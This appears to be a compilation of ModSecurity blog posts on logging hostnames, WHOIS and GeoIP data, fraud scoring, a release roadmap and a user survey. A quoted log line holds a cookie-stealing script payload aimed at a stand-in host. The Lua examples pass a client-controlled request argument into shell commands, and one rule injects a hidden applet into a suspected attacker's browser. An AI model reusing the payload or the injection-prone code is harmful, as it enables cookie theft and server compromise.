You can access and use the REMOTE_HOST variable in ModSecurity to log the client's registered DNS name.  The problem is that this variable will only have data if Apache has been configured with HostnameLookups On.  This is not the default as it will be a big performance hit to do nslookups on all clients.  So, how can we gather client hostname information without incurring the overall performance hit?

Conditional Hostname Lookups in Lua

Lua to the rescue!  If you use the following Lua script, you can conditionally execute an nslookup on the client IP address at the end of the transaction (in the logging phase) and log the data to the ModSecurity audit_log file only when the client's anomaly score is above your defined level.  Here is an example line calling up the script:

SecRuleScript gather_ip_data.lua "phase:5,t:none,pass"

Here is the example code:

#!/opt/local/bin/lua
require("io");
function main()     anomaly_score = m.getvar("TX.ANOMALY_SCORE", "none");     remote_addr = m.getvar("ARGS.REMOTE_ADDR", "none");     remote_hostname = "";
if anomaly_score ~= nil then     n = os.tmpname ()         os.execute ("nslookup '" .. remote_addr .. "' > " .. n)
            for line in io.lines (n) do                 if string.match(line, "name = ") then                     return("Remote Hostname is: " .. line .. ".");                   end             end os.remove (n) end  end

This will add a new message to the ModSecurity audit log like this:

Message: Warning. Remote Hostname is: 5.1.17.156.in-addr.arpa name = marcin.wcss.wroc.pl.. [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_15_customrules.conf"] [line "1"]

Adding WHOIS Data

In addition to the Nslookup data, you could also easily add in WHOIS data such as the Abuse contact info:

#!/opt/local/bin/lua
require("io");

function main()
    anomaly_score = m.getvar("TX.ANOMALY_SCORE", "none");
	m.log(4, "Anomaly Score is: " .. anomaly_score .. ".");
    remote_addr = m.getvar("ARGS.REMOTE_ADDR", "none");
	m.log(4, "Remote IP is: " .. remote_addr .. ".");

if anomaly_score ~= nil then
	n = os.tmpname ()
	os.execute ("nslookup '" .. remote_addr .. "' > " .. n)
	os.execute ("whois '" .. remote_addr .. "' >> " .. n)
	for line in io.lines (n) do
	  if string.match(line, "name = ") then
		hostname = line
		m.log(4, "Hostname is: " .. hostname .. ".");
		-- m.setvar("tx.hostname",'" .. hostname .. "');
	  end
	  if string.match(line, "abuse") then
                abuse_contact = line
		m.log(4, "Abuse Contact is: " .. abuse_contact .. ".");
                -- m.setvar('tx.abuse_contact', abuse_contact);
          end
	end
	os.remove (n)
return("Nslookup: " .. hostname .. " and WHOIS Abuse Info: " .. abuse_contact .. "");

end
return nil;
end

This would result in the following extra data:

Message: Nslookup: 5.1.17.156.in-addr.arpa	name = marcin.wcss.wroc.pl. 
and WHOIS Abuse Info: remarks:        abuse complaints to: [email protected] [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_15_customrules.conf"] [line "1"]

Only Do DNS Lookups Once a Day

In order to keep the performance hit to a minimum, it will be possible (with the soon to be release ModSecurity v2.5.13) to do setvars from within Lua.  This means that we can take our returned, resolved client hostname data and then save it off to an IP persistent collection that will expire after 24hrs.  Here are the updated SecRules:

SecRuleScript gather_ip_data.lua "phase:5,t:none,pass,setvar:ip.hostname=%{tx.hostname},expirevar:ip.hostname=86400,skip:1"
SecRule TX:ANOMALY_SCORE "@gt 5" "phase:5,t:none,pass,log,msg:'Client Hostname Resolution.',logdata:'%{ip.hostname}'"

So the logic is that if it is the first time that we are seeing this client, then the Lua script will handle doing the IP resolution and alerting/saving the hostname in the IP collection.  If it is not the first time, then the Lua script does not do the Nslookup/WHOIS lookups.  This data is instead taken from the saved IP collection data and logged in a new SecRule.  And here is the updated Lua script:

#!/opt/local/bin/lua
require("io");

function main()
    anomaly_score = m.getvar("TX.ANOMALY_SCORE", "none");
    remote_addr = m.getvar("ARGS.REMOTE_ADDR", "none");
    ip_hostname = m.getvar("IP.HOSTNAME", "none");

if ((anomaly_score ~= nil) and (ip_hostname == nil)) then
	n = os.tmpname ()
	os.execute ("nslookup '" .. remote_addr .. "' > " .. n)
	os.execute ("whois '" .. remote_addr .. "' >> " .. n)
	for line in io.lines (n) do
	  if string.match(line, "name = ") then
		hostname = line
		m.log(4, "Hostname is: " .. hostname .. ".");
		m.setvar("tx.hostname", hostname);
	  end
	  if string.match(line, "abuse") then
                abuse_contact = line
		m.log(4, "Abuse Contact is: " .. abuse_contact .. ".");
          end
	end
	os.remove (n)
return("Nslookup: " .. hostname .. " and WHOIS Abuse Info: " .. abuse_contact .. "");

end
return nil;
end

Don't Forget the GeoLocation Data

In last week's blog post, I highlighted how to use ModSecurity's GeoIP data for use in potential fraud detection scoring.  In addition to fraud scoring, you can also use the GEO data in the same type of post-processing IP forensic data gathering.  You can use the same logic where you check the overall anomaly score and if it is above a defined threshold, then you simply log the already gathered GEO data to the audit log file.  Here is an example SecRule:

SecGeoLookupDb /usr/local/apache/conf/modsec_current/base_rules/GeoLiteCity.dat
SecRule ARGS:remote_addr "@geoLookup" "phase:1,t:none,nolog,pass,setvar:ip.geo_country_code=%{geo.country_code}"
SecRule TX:ANOMALY_SCORE "@gt 5" "phase:5,t:none,log,id:'1',severity:'5',msg:'Logging GeoIP Data due to high anomaly score.',logdata:'{country_code=%{geo.country_code}, country_code3=%{geo.country_code3}, country_name=%{geo.country_name}, country_continent=%{geo.country_continent}, city=%{geo.city}'"

The resulting ModSecurity message would contain the GeoIP data:

[Wed Nov 03 14:09:10 2010] [error] [client ::1] ModSecurity: Warning. Operator GT matched 5 at TX:anomaly_score. [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_15_customrules.conf"] [line "40"] [id "1"] [msg "Logging GeoIP Data due to high anomaly score."] [data "{country_code=PL, country_code3=POL, country_name=Poland, country_continent=EU, city=Wroclaw"] [severity "NOTICE"] [hostname "localhost"] [uri "/cgi-bin/printenv"] [unique_id "TNGlRsCoAWcAAI5SGRMAAABA"]

 

Identifying Real IP Addresses of Web Attackers

One of the biggest challenges of doing incident response during web attacks is to try and trace back the source IP address information to identify the "real" attacker's computer. The reason why this is so challenging is that attackers almost always loop their attacks through numerous open proxy servers or other compromised hosts where they setup connection tunnels. This means that the actual IP address that shows up in the victims logs is most likely only the last hop in between the attacker and the target site. One way to try and tackle this problem is instead of relying on the TCP-IP address information of the connection, we attempt to handle this at the HTTP layer.

Web security researches (such as Jeremiah Grossman) have conducted quite a bit research in area of how blackhats can send malicious javascript/java to clients. Once the code executes, it can obtain the client's real (internal NAT) IP address. With this information, the javascript code can do all sorts of interesting stuff such as port scan the internal network. In our scenario, the client is not an innocent victim but instead a malicious client who is attacking our site. The idea is that this code that we send to the client will execute locally, grab their real IP address and then post the data back to a URL location on our site. With this data, we can then perhaps initiate a brand new incident response engagement focusing in on the actual origin of the attacks!

The following rule uses the same data as the previous example, except this time, instead of simply sending an alert pop-up box we are sending the MyAddress.class java applet. This code will force the attacker's browser to initiate a connection back to our web server.

SecRule TX:ALERT "@eq 1" "phase:3,nolog,pass,chain,prepend:'<APPLET CODE=\"MyAddress.class\" MAYSCRIPT WIDTH=0 HEIGHT=0>
<PARAM NAME=\"URL\" VALUE=\"grab_ip.php?IP=\">
<PARAM NAME=\"ACTION\" VALUE=\"AUTO\"></APPLET>'" 
SecRule RESPONSE_CONTENT_TYPE "^text/html"

So, if an attacker sends a malicious request that ModSecurity triggers on, this rule will then fire and it will send the injected code to the client. Our Apache access_logs will show data similar to this:

203.160.1.47 - - [20/Jan/2008:21:15:03 -0500] "GET /cgi-bin/foo.cgi?param=<script>document.write('<img%20
src="http://hackersite/'+document.cookie+'"')</script> HTTP/1.1" 500 676 
203.160.1.47 - - [20/Jan/2008:21:15:03 -0500] "GET /cgi-bin/grab_ip.php?IP=222.141.50.175 HTTP/1.1" 404 207

As you can see, even though the IP address in the access_logs shows 203.160.1.47, the data returned in the QUERY_STRING portion of the second line shows that the real IP address of the attacker is 222.141.50.175. This would mean that in this case, the attacker's system was not on a private network (perhaps just connecting their computer directly to the internet). In this case, you would be able to obtain the actual IP of an attacker who was conducting a manual attack with a browser.

Attacker -> Proxy -> ... -> Proxy -> Target Website.
    ^                         ^
222.141.50.175           203.160.1.47

Caveats

Internal LAN

This example is extremely experimental. As the previous section indicates, if the attacker were behind a router (on a private LAN) then the address range would have probably been in the 192.169.xxx.xxx range.

Attacker -> Firewall/Router -> ... -> Proxy -> Target Website.
    ^                                   ^
192.168.1.100                      203.160.1.47

This type of data would not be as useful for our purposes as it wouldn't help for a traceback.

Non-Browser Clients

Since a majority of web attacks are automated, odds are that the application that is sending the exploit payload is not actually a browser but rather some sort of scripting client. This would mean that the javascript/java code would not actually execute.

Conclusion

Hopefully this blog post has provided some examples that will help you to gather critical IP address data that may assist you with incident response tasks.

 

Detecting Malice with ModSecurity: GeoLocation Data

I would like to introduce a new blog series entitled - Detecting Malice with ModSecurity and will be used as an alternative to the Advanced Topic of the Week blog posts.  The the idea is to take the outstanding web application intrusion/fraud detection concepts introduced by my friend Robert "Rsnake" Hansen in his book Detecting Malice and provide real-life implementation examples using ModSecurity.  Rsnake has given me the green light to provide actual snippets of text/quotes directly from his book!  The format will be that Rsnake will setup the underlying issues and methods to identify bad behavior and then I will present some practical implementations using ModSecurity.

In this installment of Detecting Malice with ModSecurity, we will discuss how to use Geolocation data.

Geolocation section from Detecting Malice

IP addresses aren’t quite like street addresses, but they’re sometimes close. There are a number of projects that correlate, with varying success, IP address information to geographic locations. Some very large retailers help these databases by tying in IP address information collected along with address information given by their users during registration. Others tie in ISP information and geographic information with the IP address – a far less precise method in practice. Yet others still use ping time and hops to get extremely accurate measurement estimates of physical location.

The following information is typically available in GeoIP databases:

 Country

 Region (for some countries)

 City

 Organization (typically from the WHOIS database)

 ISP

 Connection speed

 Domain name

There are lots of reasons you may be interested in the physical location of your users. Advertisers are always on the lookout for ways to make their ads more interesting and meaningful (because that increases their click-through rate), and serving local ads is a good way to achieve that. Relevance is key, and that can be optimized by targeting the results to a user’s location.

Geographic information can also give you clues to the user’s disposition. If you are running a website in the United States and someone from another country is accessing your site, it may tell you quite a bit about the possible intentions of that user. That becomes more interesting if the site is disliked in principle by the population of other countries, or doesn’t do business with that country in particular. For example, many sites are totally blocked by the Chinese’s system of firewalls because the Chinese government believes certain words or thoughts are disruptive to the government’s goals. If someone from China IP space visits your site despite you being blocked by the Chinese government’s firewalls, there is a high likelihood the traffic is state sponsored.

Similarly, if you know that a large percentage of your fraud comes from one location in a particular high crime area of a certain city, it might be useful to know that a user is accessing your site from a cyber café in that same high crime area. Perhaps you can put a hold on that shipment until someone can call the user and verify the recipient. Also if you know that fraud tends to happen in certain types of socio- economic geographies, it could help you heuristically to determine the weighted score of that user. This sort of information may not be available to you in your logs, but could easily be mined through external sources of relevant crime information. Companies like ESRI heavily focus on mapping demographics, for instance.

In terms of history, it doesn’t hurt to look back into time and see if the IP address of the user has ever connected to you before. That information combined with their status with the website can be useful information. Another thing to consider is the type of connection used. If you know the IP space belongs to a DSL provider, it may point to a normal user. If it points to a small hosting provider, and in particular a host that is also a web server, it is highly likely that it has been compromised. Knowing if the IP belongs to a datacenter or a traditional broadband or modem IP range is useful information.

Knowing the physical location can help in other ways as well. If your website does no business in certain states or with certain countries due to legislative issues, it may be useful to know that someone is attempting to access your site from those states. This is often true with online casinos, which cannot do business with people in the United States where the practice is prohibited. Alerting the user of that fact can help reduce the potential legal exposure of doing business.

One concept utilizing physical location is called, “defense condition.” Normally, you allow traffic from everywhere, but if you believe that you're being attacked you can switch to yellow (the meaning of which is specific to the websites in question but, for example, can mean that your website blocks suspicious traffic coming from certain countries) or red (your websites block any traffic from certain countries). While this may seem like a good idea, in some cases this can actually be used against a website to get a company to block other legitimate users, so the use of this concept is cautioned against.

Utilities like MaxMind’s geoipaddress lookup can give you high level information about the location of most IP addresses for free. There are other products that can give you a lot more information about the specific location of the IP address in question, which can be extremely helpful if you are concerned about certain traffic origins.

$ geoiplookup.exe 157.86.173.251 GeoIP Country Edition: BR, Brazil

There has been quite a bit of research into this concept of bad geographic origins. For instance McAfee published a study citing Hong Kong (.hk), China (.cn) and the Philippines (.ph) as the three most likely top level domains to pose a security risk to their visitors. While these kinds of studies are interesting, it’s important not to simply cast blame on an entire country, but rather think about why this is the case – which can give you far more granular and useful information. It should be noted that this study talks about the danger that websites pose to internet surfers, not to websites in general, but there may be a number of ways in which your website can contact or include portions of other sites, so it still may be applicable.

Using GeoLocation Data in ModSecurity

ModSecurity supports using geolocation data through the integration with the free MaxMind GeoLite Country or GeoLite City databases. The first step is to download the database of your choice and put it somewhere on the local filesystem where ModSecurity can use it (for example in the same directory as the Core Rule Set).

Before you can use the GeoIP data, you first have to use the SecGeoLookupDb directive:

SecGeoLookupDb

Description: Defines the path to the geographical database file.

Syntax: SecGeoLookupDb /path/to/db

Example Usage: SecGeoLookupDb /usr/local/geo/data/GeoLiteCity.dat

Processing Phase: N/A

Scope: Any

Version: 2.5.0

Dependencies/Notes: Check out maxmind.com for free database files.

Once the SecGeoLookupDb directive is active, you then need to use a rule similar to the following which will pass the client's IP address (REMOTE_ADDR) to the @geoLookup operator:

SecGeoLookupDb /path/to/apache/conf/base_rules/GeoLiteCity.dat
SecRule REMOTE_ADDR "@geoLookup" "phase:1,t:none,pass,nolog"

When this rule is executed, the GEO variable collection data will be populated with the data extracted from the GeoIP DB.  Here is an example debug log section:

[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][4] Recipe: Invoking rule 1009c47d8; [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_15_customrules.conf"] [line "30"].
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][5] Rule 1009c47d8: SecRule "REMOTE_ADDR" "@geoLookup " "phase:1,t:none,nolog,pass"[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][4] Transformation completed in 1 usec.
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][4] Executing operator "geoLookup" with param "" against REMOTE_ADDR.
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] Target value: "119.192.231.134"
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: Looking up "119.192.231.134".
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: Using address "119.192.231.134" (0x77c0e786).
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: rec="\x77\x31\x31\x00\x53\x65\x6f\x75\x6c\x00\x00\xb0\x32\x21\x2d\xd8\x2e\x00\x00\x00\x00\xa6\x45\x37\x00\x41\x75\x63\x6b\x6c\x61\x6e\x64\x00\x00\x25\xd7\x15\x13\x22\x36\x00\x00\x00\x00\xa6\x46\x35\x00\x4e"
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: country="\x77"[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: region="\x31\x31\x00"
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: city="\x53\x65\x6f\x75\x6c\x00"
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: postal_code="\x00"
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: latitude="\xb0\x32\x21"
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: longitude="\x2d\xd8\x2e"
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: dma/area="\x00\x00\x00"
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][9] GEO: 119.192.231.134={country_code=KR, country_code3=KOR, country_name=Korea, Republic of, country_continent=AS, region=11, city=Seoul, postal_code=, latitude=37.566399, longitude=126.999702, dma_code=0, area_code=0}
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][4] Operator completed in 85333 usec.
[27/Oct/2010:09:49:51 --0400] [localhost/sid#10080d708][rid#1038060a0][/foo.php][4] Warning. Geo lookup for "119.192.231.134" succeeded. [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_15_customrules.conf"] [line "30"]

From this point on, you can use the geographic information from the GEO collection in your rules.

GeoLocation Usage Strategies

Allowed GEO Locations

If your clients only come from some specific geographic regions, then you could create a rule such as the following which would block clients who are not coming from US-based IP addresses:

SecRule GEO:COUNTRY_CODE3 "!@streq USA" "phase:1,t:none,log,deny,msg:'Client IP not from USA'"

DefCon Level - Static

The vast majority of organizations are global and would not want to implement this type of restriction for day-to-day operations.  This type of rule is useful, however, when the organization wants to initiate a more restrictive "Defense Condition Level" when under a direct attack.  You could make the previous rule conditional and only used when under an increased DefCon Level:  

SecAction "phase:1,t:none,nolog,pass,setvar:tx.defcon_level=1"
SecGeoLookupDb /path/to/apache/conf/base_rules/GeoLiteCity.dat
SecRule REMOTE_ADDR "@geoLookup" "phase:1,t:none,pass,nolog"
SecRule GEO:COUNTRY_CODE3 "!@streq USA" "chain,phase:1,t:none,log,deny,msg:'Client IP not from USA'"     
SecRule TX:DEFCON_LEVEL "@streq 1"

DefCon Level - Dynamic

While this example works, one of the big challenges in effectively using the concept of DefCon Levels with ModSecurity rules is the fact that you would have to initiate an Apache restart/reload in order for these DefCon Level variable data to be used.  This becomes a real scaling challenge if you are protecting a large server farm.  Under these types of scenarios, you can actually utilize the concept of dynamic rules which are activated based on web requests from authorized sources.  

Imagine you are running a SOC and you identify that your web sites are under attack and you want to initiate the new DefCon Level restriction rules to only allow requests from specific geographic regions.  Rather then needing to push out new Apache/ModSecurity configs to all web servers and initiate restarts, you could alternatively initiate a web request from an authorized web client system from within the SOC.  This client would have a specific IP address, User-Agent String and make a request to a specific URL with a specific parameter payload.  When this request is received by ModSecurity, the rules would then set a new DefCon level variable in a persistent Global collection.  When this happens, the GeoIP restriction rules would become active.  Once the threat has passed and the DefCon Level has been restored, a 2nd request can be sent out to all web servers to remove the DefCon Level variable and return the rules to their normal processing.  Again, the advantage of this approach is that it is a much faster method to toggle on/off a subset of rules vs having to update Apache/ModSecurity configs and initiate restarts.

Here are some example rules that implement this basic concept:

SecGeoLookupDb /path/to/apache/conf/base_rules/GeoLiteCity.dat
SecAction "phase:1.t:none,nolog,pass,setsid:global" 
SecRule REQUEST_FILENAME "/defcon_control" "chain,phase:1,t:none,log,msg:'DefCon Level 1 - GeoIP Restrictions Enabled.'"
    SecRule ARGS:DEFCON_LEVEL "@streq 1" "chain"
        SecRule REMOTE_ADDR "^192\.168\.1\.101$" "setvar:session.defcon_level=1" 
SecRule REQUEST_FILENAME "/defcon_control" "chain,phase:1,t:none,log,msg:'DefCon Level 1 - GeoIP Restrictions Disabled.'" 
    SecRule ARGS:DEFCON_LEVEL "5" "chain"
         SecRule REMOTE_ADDR "^192\.168\.1\.101$" "setvar:session.defcon_level=5" 
SecRule REMOTE_ADDR "@geoLookup" "phase:1,t:none,pass,nolog" 
SecRule GEO:COUNTRY_CODE3 "!@streq USA" "chain,phase:1,t:none,log,deny,msg:'Client IP not from USA'" 
    SecRule SESSION:DEFCON_LEVEL "@streq 1"

With these rules in place, the following request from source IP 192.168.1.101 would enable the DefCon Level GeoIP restriction rules:

GET /defcon_control?defcon_level=1 HTTP/1.1

Assigning Fraud/Risk Scores 

As Rsnake discussed, there are many different fraud detection resources that have assigned general risk scores to certain geographic regions.  For example, in the Clear Commerce whitepaper entitled Fraud Prevention Guide, they list the top 12 High Risk Countries:

  • Ukraine
  • Indonesia
  • Yugoslavia
  • Lithuania
  • Egypt
  • Romania
  • Bulgaria
  • Turkey
  • Russia
  • Pakistan
  • Malaysia
  • Israel

If you wanted to use this general information and assign an increased anomaly score to requests originating from these countries, you could use a rule similar to the following:

SecRule GEO:COUNTRY_CODE "@pm UA ID YU LT EG RO BG TR RU PK MY IL" "phase:1,t:none,log,pass,msg:'High Risk Fraud Location',setvar:tx.fraud_score=+10"

This rule does not block the request but it does increase the "TX:FRAUD_SCORE" variable data.  The TX data can be increased by other rules as well, such as those doing IP Reputation checks with @rbl, and then it can be evaluated at the end of the request phase when a decisions is made after correlating all detection data. 

Per-User GeoIP Data

Another Fraud related concept that can use GeoIP data is to track the Country/City data used by each user.  You can save this data in a per-user persistent collection and simply raise the fraud_score if the data changes.  This concept can be implemented either across multiple user sessions or for possible session hijacking detection during the course of one session.

Here are some example rules that will save the GEO Country Code data in a persistent User collection.  It will count the number of times that user has connected from that same country and once it is gone over the defined threshold (10), it will then issue alerts when the use logs in from a different country.

SecGeoLookupDb /path/to/apache/conf/base_rules/GeoLiteCity.dat 
SecAction "phase:1.t:none,nolog,pass,setuid:%{args.username}" SecRule REMOTE_ADDR "@geoLookup" "phase:1,t:none,nolog,pass" 
SecRule &USER:GEO_COUNTRY_CODE "@eq 0" "phase:1,t:none,nolog,pass,setvar:user.geo_country_code=%{geo.country_code},setvar:user.geo_country_code_counter=+1" 
SecRule GEO:COUNTRY_CODE "@streq %{user.geo_country_code}" "phase:1,t:none,nolog,pass,setvar:user.geo_country_code_counter=+1" 
SecRule USER:GEO_COUNTRY_CODE_COUNTER "@gt 10" "chain,phase:1,t:none,log,pass,msg:'Geo Country Code Change for User.',logdata:'Username: %{userid}, Expected Country Code: %{user.geo_country_code}, Current Country Code: %{geo.country_code}'"
    SecRule GEO:COUNTRY_CODE "!@streq %{user.geo_country_code}" "setvar:tx.fraud_score=+10"

The final example shows how you can identify if the GEO Country Code data changes during the course of a Session (using JSESSIONID as the example).  The key is to save the GEO:COUNTRY_CODE data when the application issues a Set-Cookie SessionID and then validate it on subsequent requests.

SecGeoLookupDb /path/to/apache/conf/base_rules/GeoLiteCity.dat
SecRule REMOTE_ADDR "@geoLookup" "phase:1,t:none,nolog,pass"
SecRule REQUEST_COOKIES:JSESSIONID ".*" "chain,phase:1,t:none,pass,nolog,auditlog,msg:'Geo Country Code Change During Session.',setsid:%{request_cookies.jsessionid}"
    SecRule GEO:COUNTRY_CODE "!@streq %{session.geo_country_code}"
SecRule RESPONSE_HEADERS:/Set-Cookie2?/ "(?:jsessionid=([^\s]+)\;\s?)" "phase:3,t:none,pass,nolog,capture,setsid:%{TX.2},setvar:session.geo_country_code=%{geo.country_code}"

Hopefully the data presented in this blog post will help users to be able to better utilize GeoIP data.

ModSecurity Life cycle

We are proud to announce the new release 2.5.13 is under development and will be released next month! it will be the last release of 2.5 series and will fix some important issues reported by the community.
Also we decided to release two new important features for the community:

    * New setvar Lua API

        The new hook can be used to push back data from a Lua script to ModSecurity.As an example let's suppose you wanna change all single quotes (') present into request arguments by quotes (")

        /etc/modsecurity/example_setvar.lua:

        require('m')

        function main()
            -- Start Converter code
                -- Retrieve all parameters
                    vars = m.getvars("ARGS", "none", "urlDecodeUni");
                    -- Examine all variables
                    for i = 1, #vars do
                      value = (vars[i].value);
                            m.log(4, "value is: " .. value .. ".");
                       tmp_value = string.gsub(value, "\'", "\"");
                                m.log(4, "tmp_value is: " .. tmp_value .. ".");

                        m.setvar("tx.QuoteDecoded",tmp_value);
                        return ("Normalized Payload: " .. vars[i].name .. " = " .. tmp_value .. "");
            end
                -- Nothing wrong found.
            return nil;
        end

        So, the new QuoteDecoded variable can be accessed by getvar Lua hooks or/and by a SecRule and be used in another rule and/or scripts.

        ie: SecRule TX:QuoteDecoded

    * New base64 transformation function base64DecodeExt

        Some months ago a researcher called Stefano Di Paola posted in his blog a method that can be used to bypass WAFs protections by sending malicious data encoded with base64 plus special characters.
        Most applications will recognize this malicious traffic as an invalid base64, but some others (ie. based on PHP) will skip the invalid characters and will decode the data. We know, analyzing the user survey, that most ModSecurity users are protecting PHP applications, for this reason we decided to create a new transformation function called base64DecodeExt which will decode base64 data skipping special characters.

We are going to update our documentation to provide more information and examples about advanced ModSecurity features (GeoIP, Lua API …).

After the last 2.5 release we are going to start the new 2.6 series, which already has a big list of features and issues to solve.  I'm going to publish the new 2.6 roadmap soon here in this blog.
Thinking more in the future, for medium (2.7, 2.8 and 2.9 series) and long term (3.0) we are looking for interesting features like:

    * More sophisticated DDoS detection engine
    * Positive security model (Learning)
    * Expand Lua API
    * Cuda Support
    * Provide an API to de-attach Modsecurity from Apache and plug in other
    applications (IDS/IPS, Firewalls etc)
    * Unicode Mappings
    * More transformation functions
    … And a lot of more

Also In a near future i'm going to write a new post about current ModSecurity source code organization and code style. So, anybody in the community who want to contribute will be well accepted!

Thanks for your attention

ModSecurity User Survey Results Released

As a result of the acquisition of Breach Security (and thus ModSecurity) by Trustwave, we thought that it was a good time to run another User Survey to get a better understanding of how the community is using ModSecurity and, most importantly, how we can make it better.  We ran a survey during the month of September 2010.  Thanks to everyone who took the time to respond as it will help to steer the development of ModSecurity.

We plan to run these official user surveys once a year, however don't forget that you can always voice your concerns and bring up issues on the ModSecurity mail-list and also in the Jira ticketing system.  Speaking of Jira, I wanted to remind everyone that you can always log into Jira to see the latest ticket/roadmap items.  And taking this one step further, you can actually VOTE on an item which will help us to prioritize which issues get fixed first and also which feature requests will make it into different versions.

ModSecurity User Survey 2010 Results

You can review the complete stats here.  For this blog post, however, I wanted to highlight the most interesting questions/results and provide a bit of commentary.

 ChartExport1
Analysis:

As you can see, ModSecurity is being used widely across vertical markets.  It is interesting to see that the top current users are now Consultants.  I attribute this mostly to the emerging importance of using ModSecurity as a Virtual Patching tool to mitigate identified vulnerabilities.

ChartExport2

Analysis:

As mentioned in the previous section, virtual patching is probably the most popular use-case scenario for initially deploying ModSecurity (or any WAF for that matter).  Some other interesting benefits are blocking technical/sensitive data leakages and also increased HTTP transactional logging.  Speaking of the latter, I can attest to the effectiveness of promoting ModSecurity's Audit Engine capabilities to help with operational trouble-shooting.  This is how I initially pitched deploying ModSecurity to the web server admins back in the day.  By showing them complete HTTP transactions, they were able to more quickly fix issues.

 

ChartExport3

Analysis:

I am hoping that the @modsecurity Twitter account will pick up some more followers.  :)

 

ChartExport4

Analysis:

The responses to this question were pretty much as expected.  There any different ways to try and address web application security issues and organizations should use them all.  The combination of conducting static/dynamic web application testing and then implementing custom virtual patches is gaining momentum as there seem to be more and more scenarios where identified vulns can't be fixed in the code at all or it will take a significant period of time.  In the former case, a virtual patch is about the only option, and in the latter case, a virtual patch can at least provide some level of mitigation until the source code level fix is implemented.

 

ChartExport5

Analysis:

There are two main rationales for wanting custom rule sets built for a specific piece of software -

  1. To reduce false positives
  2. To reduce false negatives

These are constant battles with "generic" signatures as they do not know of exact attack vector locations.  Application rule set packages will need to either have a listing of known vuln signatures or a positive security profile created.  In either case, it will require on-going monitoring of updates to public software to identify new vulns and also create new positive security profiles when new functionality is added.  Trustwave SpiderLabs is researching the feasibility of creating a real-time rules feed for newly released webappsec vulns in public software.  We are are also looking at adding in learning capabilities to ModSecurity by using new Lua scripts for profiling web apps.

ChartExport6

Analysis:

The good news is that we are working on plans to implement just about all of these features/capabilities into ModSecurity :)  Keep an eye out for future updates.

ChartExport7

Analysis:

As you can see, there is a pretty wide range of the number of sites being protected.  Many users use ModSecurity just to protect one local web site while there are others who use ModSecurity to protect entire server farms consisting of hundreds of systems.  That is the beauty of the embedded deployment model - scale.

 

ChartExport8

Analysis:

I believe that there is a misconception that ModSecurity can only be used in an open-source/LAMP type of deployment.  As evidenced by the responses to this question, ModSecurity is platform/application language agnostic.  It will protect any type of web application including commercial/custom coded applications that are used for ecommerce, banking, etc...

 

ChartExport9

Analysis:

This question also proves the point raised in the previous section and that is that if you have an Apache reverse proxy with ModSecurity, you can front-end any back-end web applications with WAF technology.  I know of many users who use this setup to protect different back-end apps including IIS/ASP.Net types of technology.

 

ChartExport10

Analysis:

Woohoo!  I am glad to see that the vast majority of users are using the newest ModSecurity versions.  The main hurdle to upgrading is if the currently deployed Apache version is the 1.3 branch then they can't use the newer code.

 

ChartExport11

Analysis:

Pretty evenly split between embedded mode vs. proxy mode.

 

ChartExport12

Analysis:

Ideally, all users would be using the OWASP CRS (with local exceptions) along with their own custom rules for identified virtual patches.  I would venture to guess that the main reason why the people who are *only* using custom rules is that they ran into false positive issues with the CRS.  Making exceptions easier is a major goal of future ModSecurity/CRS releases.

ChartExport13

Analysis:

The total number of rules running may become important if you start to experience performance issues such as higher latency of transactions or spikes in CPU/RAM.  The total number of rules isn't usually the biggest concern but rather if you have any specific rules that are not performing well.

 

ChartExport14

Analysis:

This is an interesting question when you consider how much time the average user has to review ModSecurity alerts/audit log data.  Keep in mind that this number is usually impacted by both untuned rules and by the amount of attack traffic you receive.  Even if you tune your rules, however, you may still get a rather large number of events if your site is actively being probed/attacked.  If you want high fidelity alerts (meaning ones in which you may need to take some form of incident response action upon) then you will have to spend a bit of time up front to tune your rules.

 

ChartExport15

Analysis:

Managing ModSecurity audit events is a critical issue from a situational awareness perspective.  The two best options currently are:

  1. Christian Bockermann's AuditConsole - it has really taken the concept created by the original ModSecurity community console and taken it to new heights.  It is highly recommended as it was built from the ground up to handle ModSecurity audit log data.
  2. SIEM Integration - it is rather easy to reconfigure your Apache host to send its error_log data (which will include the short ModSecurity message) onto a remote SIEM host via syslog.  Your mileage will vary though as to how well the SIEM is able to parse, search and report on ModSecurity messages.

ChartExport16

Analysis:

This task is certainly tricky...  It is often tough for the average user to confirm if a ModSecurity event is accurate or may need some level of tuning to handle authorized functionality.  When I work with commercial customers who are implementing WAFs, I often refer them to the excellent OWASP Best Practices: Use of Web Application Firewall document.  Specifically, organizations should make sure that they have the proper staff to administer the WAF.  In this case, we are referring to the WAF Application Manager role:

8.3.2 WAF application manager (per application)

Tasks:

  • Implementation and maintainance of the WAF configuration specific to the application
  • Monitoring and analysis of the log files (at least on the second level)
